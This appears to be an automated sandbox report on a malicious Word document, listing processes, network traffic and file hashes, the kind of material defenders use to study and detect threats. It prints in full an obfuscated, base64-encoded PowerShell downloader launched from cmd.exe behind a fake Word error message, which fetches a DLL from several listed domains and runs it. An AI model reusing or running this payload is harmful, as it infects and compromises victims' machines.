| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2944 wrote to memory of 1696 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\msg.exe |
| PID 2944 wrote to memory of 1696 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\msg.exe |
| PID 2944 wrote to memory of 4004 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2944 wrote to memory of 4004 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\04062330aac349f5175ccc2cc613ae814fff100077825a82c803636309baf912.doc" /o ""
C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAdgAgACAATwBwAHEAdQA5ADIAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADQAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQAiACAALQBGACAAJwAuAEQAaQByAEUAJwAsACcAUwAnACwAJwBSAHkAJwAsACcATwAnACwAJwBZAFMAVABFAG0ALgBJACcALAAnAEMAVABPACcAKQAgACAAKQA7AFMAZQB0AC0AaQB0AGUATQAgAHYAQQByAGkAYQBCAEwAZQA6ADQATABhAGkAIAAoACAAWwB0AFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANgB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAC4AUwBlAFIAdgAnACwAJwBFAE0ALgBuAGUAVAAnACwAJwBTAFQAJwAsACcARwAnACwAJwBzAFkAJwAsACcAZQBSACcALAAnAEkAYwBFAHAAbwBJAE4AVABtAEEATgBhACcAKQApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAJwArACcAbABlACcAKQArACcAbgB0ACcAKwAoACcAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFYAbgA2ADQAMABpAHMAPQAkAEQANQA5AFkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcANwBfAFYAOwAkAEYANgA4AE8APQAoACgAJwBVADQAJwArACcAMAAnACkAKwAnAFEAJwApADsAIAAgACgAIAAgAEcAZQB0AC0AYwBoAEkAbABkAGkAVABlAE0AIAB2AEEAcgBJAGEAYgBMAEUAOgBPAHAAcQB1ADkAMgAgACAAKQAuAHYAYQBMAFUARQA6ADoAIgBDAGAAUgBFAGEAYABUAGUAZABJAHIARQBDAGAAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBXAG0AJwArACcAMQBGAHgAOQAnACkAKwAnAHcAaQAnACsAKAAnAHcAMABXACcAKwAnAG0AJwApACsAKAAnADEAJwArACcAWABwACcAKQArACgAJwAyADgAJwArACcAcABzAGkAVwBtACcAKwAnADEAJwApACkALgAiAHIAYABlAFAAbABgAEEAQwBlACIAKAAoAFsAYwBIAGEAcgBdADgANwArAFsAYwBIAGEAcgBdADEAMAA5ACsAWwBjAEgAYQByAF0ANAA5ACkALAAnAFwAJwApACkAKQA7ACQATgAxADkARAA9ACgAKAAnAFAAJwArACcAMABfACcAKQArACcATwAnACkAOwAgACAAJAA0AGwAYQBpADoAOgAiAHMAZQBgAGMAdQBSAGkAdABZAHAAYABSAE8AYABUAG8AYABDAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUAA0ADIARAA9ACgAJwBOACcAKwAoACcANgA3ACcAKwAnAEIAJwApACkAOwAkAFQAegBiADIAbwBsADEAIAA9ACAAKAAnAEEAJwArACgAJwBfADkAJwArACcASwAnACkAKQA7ACQATQA5ADQAVAA9ACgAJwBPADcAJwArACcAMABLACcAKQA7ACQAQQA2AG0ANgBwAHEAeQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEYAeAA5AHcAJwArACgAJwBpACcAKwAnAHcAMAAnACkAKwAnAHsAMAB9AFgAcAAnACsAJwAyACcAKwAoACcAOABwACcAKwAnAHMAJwApACsAJwBpAHsAMAB9ACcAKQAtAGYAIABbAGMASABhAFIAXQA5ADIAKQArACQAVAB6AGIAMgBvAGwAMQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEMANwA3AEUAPQAoACcAQQAnACsAKAAnADcAJwArACcANQBBACcAKQApADsAJABFADQAcgBzAHgAcwB3AD0AKAAnAF0AZQAnACsAKAAnADEAcgAnACsAJwBbACcAKwAnAFMAOgAvAC8AJwApACsAJwBoAGEAJwArACgAJwBjAGkAJwArACcAYQBlAGwAcwB1ACcAKwAnAHAAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBpAG4AJwApACsAJwBjAGwAJwArACgAJwB1AGQAZQBzACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAaABQAGUAMAAnACsAJwAwAC8AQAAnACsAJwBdACcAKQArACcAZQAnACsAKAAnADEAcgBbACcAKwAnAFMAOgAnACsAJwAvAC8AZwAnACkAKwAoACcAdQBkAGEAJwArACcAZgAnACkAKwAoACcAdQAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AawAvAHgALwBAAF0AZQAnACsAJwAxAHIAWwAnACkAKwAoACcAUwBzADoAJwArACcALwAvAHIAYQAnACsAJwB5ACcAKQArACcAbQBvACcAKwAoACcAZAAnACsAJwB1AGwALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAFoAUAAnACkAKwAoACcAaQAnACsAJwBzADcAagAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxACcAKwAnAHIAWwBTACcAKQArACgAJwBzADoALwAnACsAJwAvAHQAZQBsACcAKQArACgAJwBlACcAKwAnAGwAbwBnACcAKwAnAGkAYwAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAHUAcwAnACsAJwBlACcAKwAnAHIAJwArACgAJwAvAFMAUAAnACsAJwAwAEgAJwApACsAKAAnAFgALwBAAF0AZQAnACsAJwAxAHIAJwApACsAKAAnAFsAJwArACcAUwBzADoALwAvACcAKwAnAHQAaAAnACkAKwAnAGkAJwArACcAbgBrACcAKwAoACcAaQBsACcAKwAnAHkALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAHMAJwArACcAcwAvAE4ALwBAAF0AJwApACsAKAAnAGUAMQAnACsAJwByACcAKQArACcAWwAnACsAJwBTACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHQAaAAnACsAJwBlACcAKwAnAGwAbwAnACsAJwB2AGUAJwArACcAaQAnACsAJwBzACcAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcAbgBlAHQAdwAnACsAJwBvACcAKQArACcAcgAnACsAKAAnAGsALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwAvACcAKwAnAFoALwAnACkAKwAoACcAQABdAGUAMQByAFsAJwArACcAUwAnACsAJwBzADoAJwArACcALwAvACcAKQArACgAJwBpAG8AdAAnACsAJwBhACcAKQArACgAJwBjAGgAJwArACcAaQAnACsAJwBuAGEAJwArACcALgBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACkAKwAnAGoAJwArACcAWQAnACsAJwBLAGIAJwArACcAdQAnACsAJwBLAEcAJwArACcALwAnACkALgAiAFIAYABlAHAAbABgAEEAQwBFACIAKAAoACcAXQAnACsAKAAnAGUAJwArACcAMQByAFsAUwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABgAGwASQB0ACIAKAAkAFcANAA3AFgAIAArACAAJABWAG4ANgA0ADAAaQBzACAAKwAgACQASQA5ADkASAApADsAJABPADQANQBUAD0AKAAnAFcANgAnACsAJwAzAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHYANQBjADUAdgBuACAAaQBuACAAJABFADQAcgBzAHgAcwB3ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAKQAuACIAZABvAFcAbgBgAEwAbwBBAEQAYABGAGAASQBMAGUAIgAoACQASAB2ADUAYwA1AHYAbgAsACAAJABBADYAbQA2AHAAcQB5ACkAOwAkAEIANgA4AFgAPQAoACgAJwBYACcAKwAnADAANQAnACkAKwAnAEYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEANgBtADYAcABxAHkAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADcAMAAyADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAQQA2AG0ANgBwAHEAeQAsACgAJwBDAG8AJwArACgAJwBuAHQAcgAnACsAJwBvACcAKQArACgAJwBsACcAKwAnAF8AUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgBUAE8AYABTAFQAYABSAGkATgBnACIAKAApADsAJABPADkAMwBOAD0AKAAnAEQAJwArACgAJwA1ACcAKwAnADcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAA3ADgAUgA9ACgAJwBHACcAKwAoACcAMABfACcAKwAnAFoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQA5AEUAPQAoACcAUAAnACsAKAAnADgANAAnACsAJwBIACcAKQApAA==
C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgAHMAdgAgACAATwBwAHEAdQA5ADIAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADQAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQAiACAALQBGACAAJwAuAEQAaQByAEUAJwAsACcAUwAnACwAJwBSAHkAJwAsACcATwAnACwAJwBZAFMAVABFAG0ALgBJACcALAAnAEMAVABPACcAKQAgACAAKQA7AFMAZQB0AC0AaQB0AGUATQAgAHYAQQByAGkAYQBCAEwAZQA6ADQATABhAGkAIAAoACAAWwB0AFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsANgB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAC4AUwBlAFIAdgAnACwAJwBFAE0ALgBuAGUAVAAnACwAJwBTAFQAJwAsACcARwAnACwAJwBzAFkAJwAsACcAZQBSACcALAAnAEkAYwBFAHAAbwBJAE4AVABtAEEATgBhACcAKQApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAJwArACcAbABlACcAKQArACcAbgB0ACcAKwAoACcAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAJwArACcAbgB1AGUAJwApACkAOwAkAFYAbgA2ADQAMABpAHMAPQAkAEQANQA5AFkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcANwBfAFYAOwAkAEYANgA4AE8APQAoACgAJwBVADQAJwArACcAMAAnACkAKwAnAFEAJwApADsAIAAgACgAIAAgAEcAZQB0AC0AYwBoAEkAbABkAGkAVABlAE0AIAB2AEEAcgBJAGEAYgBMAEUAOgBPAHAAcQB1ADkAMgAgACAAKQAuAHYAYQBMAFUARQA6ADoAIgBDAGAAUgBFAGEAYABUAGUAZABJAHIARQBDAGAAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBXAG0AJwArACcAMQBGAHgAOQAnACkAKwAnAHcAaQAnACsAKAAnAHcAMABXACcAKwAnAG0AJwApACsAKAAnADEAJwArACcAWABwACcAKQArACgAJwAyADgAJwArACcAcABzAGkAVwBtACcAKwAnADEAJwApACkALgAiAHIAYABlAFAAbABgAEEAQwBlACIAKAAoAFsAYwBIAGEAcgBdADgANwArAFsAYwBIAGEAcgBdADEAMAA5ACsAWwBjAEgAYQByAF0ANAA5ACkALAAnAFwAJwApACkAKQA7ACQATgAxADkARAA9ACgAKAAnAFAAJwArACcAMABfACcAKQArACcATwAnACkAOwAgACAAJAA0AGwAYQBpADoAOgAiAHMAZQBgAGMAdQBSAGkAdABZAHAAYABSAE8AYABUAG8AYABDAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAUAA0ADIARAA9ACgAJwBOACcAKwAoACcANgA3ACcAKwAnAEIAJwApACkAOwAkAFQAegBiADIAbwBsADEAIAA9ACAAKAAnAEEAJwArACgAJwBfADkAJwArACcASwAnACkAKQA7ACQATQA5ADQAVAA9ACgAJwBPADcAJwArACcAMABLACcAKQA7ACQAQQA2AG0ANgBwAHEAeQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEYAeAA5AHcAJwArACgAJwBpACcAKwAnAHcAMAAnACkAKwAnAHsAMAB9AFgAcAAnACsAJwAyACcAKwAoACcAOABwACcAKwAnAHMAJwApACsAJwBpAHsAMAB9ACcAKQAtAGYAIABbAGMASABhAFIAXQA5ADIAKQArACQAVAB6AGIAMgBvAGwAMQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEMANwA3AEUAPQAoACcAQQAnACsAKAAnADcAJwArACcANQBBACcAKQApADsAJABFADQAcgBzAHgAcwB3AD0AKAAnAF0AZQAnACsAKAAnADEAcgAnACsAJwBbACcAKwAnAFMAOgAvAC8AJwApACsAJwBoAGEAJwArACgAJwBjAGkAJwArACcAYQBlAGwAcwB1ACcAKwAnAHAAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBpAG4AJwApACsAJwBjAGwAJwArACgAJwB1AGQAZQBzACcAKwAnAC8AJwApACsAJwBmACcAKwAoACcAaABQAGUAMAAnACsAJwAwAC8AQAAnACsAJwBdACcAKQArACcAZQAnACsAKAAnADEAcgBbACcAKwAnAFMAOgAnACsAJwAvAC8AZwAnACkAKwAoACcAdQBkAGEAJwArACcAZgAnACkAKwAoACcAdQAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AawAvAHgALwBAAF0AZQAnACsAJwAxAHIAWwAnACkAKwAoACcAUwBzADoAJwArACcALwAvAHIAYQAnACsAJwB5ACcAKQArACcAbQBvACcAKwAoACcAZAAnACsAJwB1AGwALgBjACcAKQArACcAbwAnACsAJwBtACcAKwAnAC8AdwAnACsAJwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAFoAUAAnACkAKwAoACcAaQAnACsAJwBzADcAagAnACsAJwAvAEAAXQBlACcAKQArACgAJwAxACcAKwAnAHIAWwBTACcAKQArACgAJwBzADoALwAnACsAJwAvAHQAZQBsACcAKQArACgAJwBlACcAKwAnAGwAbwBnACcAKwAnAGkAYwAnACkAKwAoACcAYQBsACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AJwArACcAbQAvACcAKwAnAHUAcwAnACsAJwBlACcAKwAnAHIAJwArACgAJwAvAFMAUAAnACsAJwAwAEgAJwApACsAKAAnAFgALwBAAF0AZQAnACsAJwAxAHIAJwApACsAKAAnAFsAJwArACcAUwBzADoALwAvACcAKwAnAHQAaAAnACkAKwAnAGkAJwArACcAbgBrACcAKwAoACcAaQBsACcAKwAnAHkALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwBjAHMAJwArACcAcwAvAE4ALwBAAF0AJwApACsAKAAnAGUAMQAnACsAJwByACcAKQArACcAWwAnACsAJwBTACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAHQAaAAnACsAJwBlACcAKwAnAGwAbwAnACsAJwB2AGUAJwArACcAaQAnACsAJwBzACcAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcAbgBlAHQAdwAnACsAJwBvACcAKQArACcAcgAnACsAKAAnAGsALgBjAG8AJwArACcAbQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACgAJwAvACcAKwAnAFoALwAnACkAKwAoACcAQABdAGUAMQByAFsAJwArACcAUwAnACsAJwBzADoAJwArACcALwAvACcAKQArACgAJwBpAG8AdAAnACsAJwBhACcAKQArACgAJwBjAGgAJwArACcAaQAnACsAJwBuAGEAJwArACcALgBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACkAKwAnAGoAJwArACcAWQAnACsAJwBLAGIAJwArACcAdQAnACsAJwBLAEcAJwArACcALwAnACkALgAiAFIAYABlAHAAbABgAEEAQwBFACIAKAAoACcAXQAnACsAKAAnAGUAJwArACcAMQByAFsAUwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAHMAcABgAGwASQB0ACIAKAAkAFcANAA3AFgAIAArACAAJABWAG4ANgA0ADAAaQBzACAAKwAgACQASQA5ADkASAApADsAJABPADQANQBUAD0AKAAnAFcANgAnACsAJwAzAFEAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIAHYANQBjADUAdgBuACAAaQBuACAAJABFADQAcgBzAHgAcwB3ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAKQAuACIAZABvAFcAbgBgAEwAbwBBAEQAYABGAGAASQBMAGUAIgAoACQASAB2ADUAYwA1AHYAbgAsACAAJABBADYAbQA2AHAAcQB5ACkAOwAkAEIANgA4AFgAPQAoACgAJwBYACcAKwAnADAANQAnACkAKwAnAEYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEANgBtADYAcABxAHkAKQAuACIATABgAEUAbgBHAHQAaAAiACAALQBnAGUAIAAzADcAMAAyADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAQQA2AG0ANgBwAHEAeQAsACgAJwBDAG8AJwArACgAJwBuAHQAcgAnACsAJwBvACcAKQArACgAJwBsACcAKwAnAF8AUgB1ACcAKQArACgAJwBuAEQATAAnACsAJwBMACcAKQApAC4AIgBUAE8AYABTAFQAYABSAGkATgBnACIAKAApADsAJABPADkAMwBOAD0AKAAnAEQAJwArACgAJwA1ACcAKwAnADcAUQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAA3ADgAUgA9ACgAJwBHACcAKwAoACcAMABfACcAKwAnAFoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQA5AEUAPQAoACcAUAAnACsAKAAnADgANAAnACsAJwBIACcAKQApAA==
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | haciaelsup.com | udp |
| ES | 185.66.41.127:80 | haciaelsup.com | tcp |
| US | 8.8.8.8:53 | 127.41.66.185.in-addr.arpa | udp |
| ES | 185.66.41.127:443 | haciaelsup.com | tcp |
| US | 8.8.8.8:53 | www.haciaelsup.com | udp |
| ES | 185.66.41.127:443 | www.haciaelsup.com | tcp |
| US | 8.8.8.8:53 | gudafu.com | udp |
| HK | 124.156.117.232:80 | gudafu.com | tcp |
| US | 8.8.8.8:53 | raymodul.com | udp |
| US | 104.21.47.248:443 | raymodul.com | tcp |
| US | 8.8.8.8:53 | 248.47.21.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.117.156.124.in-addr.arpa | udp |
| US | 8.8.8.8:53 | telelogical.com | udp |
| SK | 82.119.96.185:443 | telelogical.com | tcp |
| US | 8.8.8.8:53 | thinkily.com | udp |
| US | 172.67.215.117:443 | thinkily.com | tcp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 185.96.119.82.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 117.215.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.22.249.39:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| GB | 2.19.117.169:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 39.249.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | theloveiskindnetwork.com | udp |
| US | 192.124.249.14:443 | theloveiskindnetwork.com | tcp |
| US | 8.8.8.8:53 | 14.249.124.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | iotachina.com | udp |
| US | 178.128.68.22:443 | iotachina.com | tcp |
Files
memory/4124-4-0x00007FFE220F0000-0x00007FFE22100000-memory.dmp
memory/4124-5-0x00007FFE220F0000-0x00007FFE22100000-memory.dmp
memory/4124-2-0x00007FFE220F0000-0x00007FFE22100000-memory.dmp
memory/4124-3-0x00007FFE220F0000-0x00007FFE22100000-memory.dmp
memory/4124-1-0x00007FFE220F0000-0x00007FFE22100000-memory.dmp
memory/4124-0-0x00007FFE6210D000-0x00007FFE6210E000-memory.dmp
memory/4124-9-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-8-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-11-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-12-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-10-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-15-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-14-0x00007FFE1FA60000-0x00007FFE1FA70000-memory.dmp
memory/4124-16-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-13-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-19-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-18-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-20-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-17-0x00007FFE1FA60000-0x00007FFE1FA70000-memory.dmp
memory/4124-7-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-6-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-39-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-37-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-41-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-40-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2f5prhhi.1iq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4004-53-0x0000028A38750000-0x0000028A38772000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
| MD5 | d29962abc88624befc0135579ae485ec |
| SHA1 | e40a6458296ec6a2427bcb280572d023a9862b31 |
| SHA256 | a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866 |
| SHA512 | 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f |
memory/4124-63-0x00007FFE6210D000-0x00007FFE6210E000-memory.dmp
memory/4124-64-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-65-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-66-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-67-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | d244e414de15a82654b46c67edb8d04d |
| SHA1 | 1ab39b153912574633e2641fe7ed03163f50f2a1 |
| SHA256 | dc4a5845a7277a697fb742c3afc5942d1c54548ef0fc0524699983229ae62609 |
| SHA512 | 8e88308b8cfa650ae38fdac97166e2fb2dd6e63cd90d2e02ebc4b1789405489a0cc83b94938914ed55ae92af1f7a028203a3cfbef72a7e0c0d2d43537dfcfa67 |
memory/4124-76-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
memory/4124-77-0x00007FFE62070000-0x00007FFE62265000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\TCDDCCC.tmp\sist02.xsl
| MD5 | f883b260a8d67082ea895c14bf56dd56 |
| SHA1 | 7954565c1f243d46ad3b1e2f1baf3281451fc14b |
| SHA256 | ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353 |
| SHA512 | d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e |